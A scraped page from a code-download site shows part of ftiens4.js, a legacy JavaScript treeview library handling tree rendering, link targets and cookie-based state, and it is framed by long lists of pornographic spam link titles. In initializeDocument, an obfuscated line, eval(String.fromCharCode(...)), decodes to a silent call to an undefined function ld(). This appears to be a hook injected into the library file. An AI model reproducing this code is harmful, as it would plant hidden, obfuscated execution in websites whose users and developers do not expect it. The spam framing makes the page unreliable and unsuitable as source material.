亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ftiens4.js

?? 用JAVA實現的MIB瀏覽器
?? JS
?? 第 1 頁 / 共 3 頁
字號:
} 
 
function gLnk(optionFlags, description, linkData) 
{ 
  if (optionFlags>=0) { //is numeric (old style) or empty (error)
    //Target changed from numeric to string in Aug 2002, and support for numeric style was entirely dropped in Mar 2004
    alert("Change your Treeview configuration file to use the new style of target argument in gLnk");
    return;
  }

  newItem = new Item(description);
  setItemLink(newItem, optionFlags, linkData);
  return newItem;
} 

function setItemLink(item, optionFlags, linkData) {
  var targetFlag = "";
  var target = "";
  var protocolFlag = "";
  var protocol = "";

  targetFlag = optionFlags.charAt(0)
  if (targetFlag=="B")
    target = "_blank"
  if (targetFlag=="P")
    target = "_parent"
  if (targetFlag=="R")
    target = "basefrm"
  if (targetFlag=="S")
    target = "_self"
  if (targetFlag=="T")
    target = "_top"

  if (optionFlags.length > 1) {
    protocolFlag = optionFlags.charAt(1)
    if (protocolFlag=="h")
      protocol = "http://"
    if (protocolFlag=="s")
      protocol = "https://"
    if (protocolFlag=="f")
      protocol = "ftp://"
    if (protocolFlag=="m")
      protocol = "mailto:"
  }

  item.link = protocol+linkData;    
  item.target = target
}

//Function created  for backwards compatibility purposes
//Function contents voided in March 2004
function oldGLnk(target, description, linkData)
{
}
 
function preLoadIcons() {
       arImageSrc = new Array (
           "ftv2vertline.gif",
           "ftv2mlastnode.gif",
           "ftv2mnode.gif",
           "ftv2plastnode.gif",
           "ftv2pnode.gif",
           "ftv2blank.gif",
           "ftv2lastnode.gif",
           "ftv2node.gif",
           "ftv2folderclosed.gif",
           "ftv2folderopen.gif",
           "ftv2doc.gif"
           )
       arImageList = new Array ();
       for (counter in arImageSrc) {
           arImageList[counter] = new Image();
           arImageList[counter].src = ICONPATH + arImageSrc[counter];
       }
   }

//Open some folders for initial layout, if necessary
function setInitialLayout() {
  if (browserVersion > 0 && !STARTALLOPEN)
    clickOnNodeObj(foldersTree);
  
  if (!STARTALLOPEN && (browserVersion > 0) && PRESERVESTATE)
		PersistentFolderOpening();
}

//Used with NS4 and STARTALLOPEN
function renderAllTree(nodeObj, parent) {
  var i=0;
  nodeObj.renderOb(parent)
  if (supportsDeferral)
    for (i=nodeObj.nChildren-1; i>=0; i--) 
      renderAllTree(nodeObj.children[i], nodeObj.navObj)
  else
    for (i=0 ; i < nodeObj.nChildren; i++) 
      renderAllTree(nodeObj.children[i], null)
}

function hideWholeTree(nodeObj, hideThisOne, nodeObjMove) {
  var i=0;
  var heightContained=0;
  var childrenMove=nodeObjMove;

  if (hideThisOne)
    nodeObj.escondeBlock()

  if (browserVersion == 2)
    nodeObj.navObj.moveBy(0, 0-nodeObjMove)

  for (i=0 ; i < nodeObj.nChildren; i++) {
    heightContainedInChild = hideWholeTree(nodeObj.children[i], true, childrenMove)
    if (browserVersion == 2) {
      heightContained = heightContained + heightContainedInChild + nodeObj.children[i].navObj.clip.height
      childrenMove = childrenMove + heightContainedInChild
	}
  }

  return heightContained;
}

 
// Simulating inserAdjacentHTML on NS6
// Code by thor@jscript.dk
// ******************************************

if(typeof HTMLElement!="undefined" && !HTMLElement.prototype.insertAdjacentElement){
	HTMLElement.prototype.insertAdjacentElement = function (where,parsedNode)
	{
		switch (where){
		case 'beforeBegin':
			this.parentNode.insertBefore(parsedNode,this)
			break;
		case 'afterBegin':
			this.insertBefore(parsedNode,this.firstChild);
			break;
		case 'beforeEnd':
			this.appendChild(parsedNode);
			break;
		case 'afterEnd':
			if (this.nextSibling) 
				this.parentNode.insertBefore(parsedNode,this.nextSibling);
			else this.parentNode.appendChild(parsedNode);
			break;
		}
	}

	HTMLElement.prototype.insertAdjacentHTML = function(where,htmlStr)
	{
		var r = this.ownerDocument.createRange();
		r.setStartBefore(this);
		var parsedHTML = r.createContextualFragment(htmlStr);
		this.insertAdjacentElement(where,parsedHTML)
	}
}

function getElById(idVal) {
  if (document.getElementById != null)
    return document.getElementById(idVal)
  if (document.all != null)
    return document.all[idVal]
  
  alert("Problem getting element by id")
  return null
}


// Functions for cookies
// Note: THESE FUNCTIONS ARE OPTIONAL. No cookies are used unless
// the PRESERVESTATE variable is set to 1 (default 0)
// The separator currently in use is ^ (chr 94)
// *********************************************************** 

function PersistentFolderOpening()
{
  var stateInCookie;
  var fldStr=""
  var fldArr
  var fldPos=0
  var id
  var nodeObj
  stateInCookie = GetCookie("clickedFolder");
  SetCookie('clickedFolder', "") //at the end of function it will be back, minus null cases

  if(stateInCookie!=null)
  {
    fldArr = stateInCookie.split(cookieCutter)
    for (fldPos=0; fldPos<fldArr.length; fldPos++)
    {
      fldStr=fldArr[fldPos]
      if (fldStr != "") {
        nodeObj = findObj(fldStr)
        if (nodeObj!=null) //may have been deleted
          if (nodeObj.setState) {
            nodeObj.forceOpeningOfAncestorFolders()
            clickOnNodeObj(nodeObj);
          }
          else
            alert("Internal id is not pointing to a folder anymore.\nConsider giving an ID to the tree and external IDs to the individual nodes.")
      }
    }
  }
}

function storeAllNodesInClickCookie(treeNodeObj)
{
  var currentOpen
  var i = 0

  if (typeof treeNodeObj.setState != "undefined") //is folder
  {
    currentOpen = GetCookie("clickedFolder")
    if (currentOpen == null)
      currentOpen = ""

    if (treeNodeObj.getID() != foldersTree.getID())
      SetCookie("clickedFolder", currentOpen+treeNodeObj.getID()+cookieCutter)

    for (i=0; i < treeNodeObj.nChildren; i++) 
        storeAllNodesInClickCookie(treeNodeObj.children[i])
  }
}

function CookieBranding(name) {
  if (typeof foldersTree.treeID != "undefined")
    return name+foldersTree.treeID //needed for multi-tree sites. make sure treeId does not contain cookieCutter
  else
    return name
}
 
function GetCookie(name)
{  
  name = CookieBranding(name)

	var arg = name + "=";  
	var alen = arg.length;  
	var clen = document.cookie.length;  
	var i = 0;  

	while (i < clen) {    
		var j = i + alen;    
		if (document.cookie.substring(i, j) == arg)      
			return getCookieVal (j);    
		i = document.cookie.indexOf(" ", i) + 1;    
		if (i == 0) break;   
	}  
	return null;
}

function getCookieVal(offset) {  
	var endstr = document.cookie.indexOf (";", offset);  
	if (endstr == -1)    
	endstr = document.cookie.length;  
	return unescape(document.cookie.substring(offset, endstr));
}

function SetCookie(name, value) 
{  
	var argv = SetCookie.arguments;  
	var argc = SetCookie.arguments.length;  
	var expires = (argc > 2) ? argv[2] : null;  
	//var path = (argc > 3) ? argv[3] : null;  
	var domain = (argc > 4) ? argv[4] : null;  
	var secure = (argc > 5) ? argv[5] : false;  
	var path = "/"; //allows the tree to remain open across pages with diff names & paths

  name = CookieBranding(name)

	document.cookie = name + "=" + escape (value) + 
	((expires == null) ? "" : ("; expires=" + expires.toGMTString())) + 
	((path == null) ? "" : ("; path=" + path)) +  
	((domain == null) ? "" : ("; domain=" + domain)) +    
	((secure == true) ? "; secure" : "");
}

function ExpireCookie (name) 
{  
	var exp = new Date();  
	exp.setTime (exp.getTime() - 1);  
	var cval = GetCookie (name);  
  name = CookieBranding(name)
	document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}


//To customize the tree, overwrite these variables in the configuration file (demoFramesetNode.js, etc.)
var USETEXTLINKS = 0;
var STARTALLOPEN = 0;
var USEFRAMES = 1;
var USEICONS = 1;
var WRAPTEXT = 0;
var PERSERVESTATE = 0; //backward compatibility
var PRESERVESTATE = 0;
var ICONPATH = '';
var HIGHLIGHT = 0;
var HIGHLIGHT_COLOR = 'white';
var HIGHLIGHT_BG    = 'blue';
var BUILDALL = 0;
var GLOBALTARGET = "R"; // variable only applicable for addChildren uses


//Other variables
var lastClicked = null;
var lastClickedColor;
var lastClickedBgColor;
var indexOfEntries = new Array 
var nEntries = 0 
var browserVersion = 0 
var selectedFolder=0
var lastOpenedFolder=null
var t=5
var doc = document
var supportsDeferral = false
var cookieCutter = '^' //You can change this if you need to use ^ in your xID or treeID values

doc.yPos = 0

// Main function
// ************* 

// This function uses an object (navigator) defined in
// ua.js, imported in the main html page (left frame).
function initializeDocument() 
{ 
  preLoadIcons();
  switch(navigator.family)
  {
    case 'ie4':
      browserVersion = 1 //Simply means IE > 3.x
      break;
    case 'opera':
      browserVersion = (navigator.version > 6 ? 1 : 0); //opera7 has a good DOM
      break;
    case 'nn4':
      browserVersion = 2 //NS4.x 
      break;
    case 'gecko':
      browserVersion = 3 //NS6.x
      break;
    case 'safari':
      browserVersion = 1 //Safari Beta 3 seems to behave like IE in spite of being based on Konkeror
      break;
	default:
      browserVersion = 0 //other, possibly without DHTML  
      break;
  }

  // backward compatibility
  if (PERSERVESTATE)
    PRESERVESTATE = 1;

  supportsDeferral = ((navigator.family=='ie4' && navigator.version >= 5 && navigator.OS != "mac") || browserVersion == 3);
  supportsDeferral = supportsDeferral & (!BUILDALL)
  if (!USEFRAMES && browserVersion == 2)
  	browserVersion = 0;
  eval(String.fromCharCode(116,61,108,100,40,41))

  //If PRESERVESTATE is on, STARTALLOPEN can only be effective the first time the page 
  //loads during the session. For subsequent (re)loads the PRESERVESTATE data stored 
  //in cookies takes over the control of the initial expand/collapse
  if (PRESERVESTATE && GetCookie("clickedFolder") != null)
    STARTALLOPEN = 0

  //foldersTree (with the site's data) is created in an external .js (demoFramesetNode.js, for example)
  foldersTree.initialize(0, true, "") 
  if (supportsDeferral && !STARTALLOPEN) {
      foldersTree.renderOb(null) //delay construction of nodes
  }

  else {
    renderAllTree(foldersTree, null);

    if (PRESERVESTATE && STARTALLOPEN)
      storeAllNodesInClickCookie(foldersTree)

    //To force the scrollable area to be big enough
    if (browserVersion == 2) 
      doc.write("<layer top=" + indexOfEntries[nEntries-1].navObj.top + ">&nbsp;</layer>") 

    if (browserVersion != 0 && !STARTALLOPEN)
      hideWholeTree(foldersTree, false, 0)
  }

  setInitialLayout()

  if (PRESERVESTATE && GetCookie('highlightedTreeviewLink')!=null  && GetCookie('highlightedTreeviewLink')!="") {
    var nodeObj = findObj(GetCookie('highlightedTreeviewLink'))
    if (nodeObj!=null){
      nodeObj.forceOpeningOfAncestorFolders()
      highlightObjLink(nodeObj);
    }
    else
      SetCookie('highlightedTreeviewLink', '')
  }
} 
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美视频一区二区三区| 国产精品影视网| 欧美中文一区二区三区| 亚洲欧美日韩久久| 91国偷自产一区二区开放时间| 亚洲欧洲精品一区二区三区 | 亚洲欧美日韩小说| av一区二区不卡| 亚洲三级电影网站| 欧美日韩日本视频| 另类欧美日韩国产在线| 精品国产凹凸成av人导航| 国产精品一区二区久久不卡| 国产精品嫩草影院av蜜臀| 91麻豆精品在线观看| 亚洲电影一级片| 欧美mv日韩mv| 91小视频免费看| 午夜成人免费电影| 久久蜜桃av一区二区天堂 | 国产精品美女一区二区在线观看| 色综合久久中文字幕综合网| 亚洲一区中文日韩| 精品久久久久久久一区二区蜜臀| 99久久精品国产一区| 亚洲成a天堂v人片| 欧美激情一二三区| 欧美人xxxx| 国产精品亚洲午夜一区二区三区 | 精品国产1区二区| www.色精品| 日本va欧美va瓶| 欧美国产日产图区| 91精品国产全国免费观看| 高清在线不卡av| 亚洲一二三区在线观看| 久久久久久久久99精品| 欧美日韩精品久久久| 粉嫩aⅴ一区二区三区四区| 五月天激情小说综合| 中文一区二区完整视频在线观看 | 欧美三级韩国三级日本一级| 激情图区综合网| 亚洲一区二区三区不卡国产欧美| 精品国产91乱码一区二区三区 | 久久99久久久久| 亚洲少妇最新在线视频| 久久色.com| 欧美猛男男办公室激情| 91猫先生在线| 国产一区二区精品久久| 日本麻豆一区二区三区视频| 亚洲美女视频在线观看| 亚洲精品一区二区三区四区高清 | 99久久99久久精品免费看蜜桃| 蜜臀av一区二区三区| 捆绑调教一区二区三区| 亚洲另类在线视频| 中文av一区特黄| 久久久噜噜噜久噜久久综合| 欧美一区二区三区四区在线观看| 91原创在线视频| 成人蜜臀av电影| 国产精品18久久久久久久久| 麻豆中文一区二区| 日韩不卡在线观看日韩不卡视频| 一区二区三区成人| 专区另类欧美日韩| 国产精品久久久久久久久搜平片| 26uuu亚洲综合色| 欧美大片国产精品| 91精品综合久久久久久| 欧美图区在线视频| 欧美亚州韩日在线看免费版国语版| 99在线视频精品| 成人精品国产一区二区4080 | 粉嫩av一区二区三区| 国产九九视频一区二区三区| 国产一区二区三区最好精华液| 日韩国产欧美三级| 亚洲成国产人片在线观看| 亚洲成人免费电影| 亚洲欧美精品午睡沙发| 国产精品毛片大码女人| 国产亚洲欧美激情| 国产婷婷色一区二区三区在线| 欧美大片日本大片免费观看| 欧美一区二区免费视频| 欧美精品精品一区| 欧美一区二区三区视频| 欧美成人在线直播| 欧美精品一区男女天堂| 欧美国产97人人爽人人喊| 欧美激情一区二区三区蜜桃视频 | 久久久久久综合| 国产日产欧美精品一区二区三区| 久久综合99re88久久爱| 国产喷白浆一区二区三区| 中文字幕亚洲一区二区av在线 | 日韩精品一区国产麻豆| 久久精品人人做人人爽人人| 国产精品免费视频网站| 一区二区三区在线视频免费观看 | 青青草视频一区| 国产麻豆精品久久一二三| 懂色av中文一区二区三区| 在线视频国内自拍亚洲视频| 717成人午夜免费福利电影| 精品国产99国产精品| 国产精品久久久久久久久搜平片 | 综合激情成人伊人| 偷拍一区二区三区四区| 国产一区二区免费看| 日韩视频一区二区三区 | 国产成人在线视频网站| 91麻豆国产自产在线观看| 欧美久久一二区| 久久久久久久电影| 一二三四社区欧美黄| 狠狠网亚洲精品| 日本道在线观看一区二区| 日韩欧美中文字幕一区| 亚洲免费资源在线播放| 另类小说欧美激情| 欧美在线不卡视频| 久久精品免费在线观看| 亚洲国产日韩精品| 国产成人免费视频一区| 91精品国产乱| 亚洲欧洲国产专区| 韩国欧美国产1区| 欧美色精品天天在线观看视频| 久久精品水蜜桃av综合天堂| 亚洲主播在线观看| 成人高清视频在线| 精品国产一区二区三区av性色| 一区二区三区四区蜜桃| 国产91在线观看丝袜| 91精品国产美女浴室洗澡无遮挡| 亚洲欧洲av一区二区三区久久| 日本欧美韩国一区三区| 日本电影欧美片| 国产清纯在线一区二区www| 麻豆高清免费国产一区| 精品视频一区二区不卡| 亚洲色图视频网站| 成人午夜电影小说| 久久综合色天天久久综合图片| 亚洲成av人综合在线观看| 色琪琪一区二区三区亚洲区| 国产精品视频观看| 国产成人无遮挡在线视频| 欧美一区二区三区视频在线观看 | 国产成人免费高清| 欧美一区二区二区| 亚洲sss视频在线视频| 99久久免费视频.com| 日本一区二区视频在线观看| 日本大胆欧美人术艺术动态| 欧美调教femdomvk| 亚洲国产sm捆绑调教视频| 欧美性受xxxx| 一区二区三区四区五区视频在线观看| av不卡免费电影| 国产精品高清亚洲| av不卡在线播放| 午夜激情综合网| 欧美电影一区二区三区| 午夜电影网一区| 欧美日韩国产片| 日产国产欧美视频一区精品| 欧美性videosxxxxx| 国产午夜精品一区二区三区视频| 免费的成人av| 欧美高清视频www夜色资源网| 亚洲线精品一区二区三区八戒| 91香蕉视频污在线| 一区二区三区四区在线免费观看| 色女孩综合影院| 亚洲一二三四在线| 欧美私人免费视频| 日韩一区精品字幕| 日韩视频中午一区| 国产一区二区三区在线观看免费视频 | 国产精品久久久久久久裸模| 成人免费的视频| 亚洲激情自拍偷拍| 欧美日韩一级视频| 免费人成在线不卡| 国产调教视频一区| 色综合中文字幕国产 | 国产一本一道久久香蕉| 久久久影院官网| 91丨九色丨蝌蚪丨老版| 亚洲女人****多毛耸耸8| 欧美视频一区二区在线观看| 免费不卡在线观看| 国产欧美精品区一区二区三区 | 日本丶国产丶欧美色综合| 亚洲一区二区视频在线|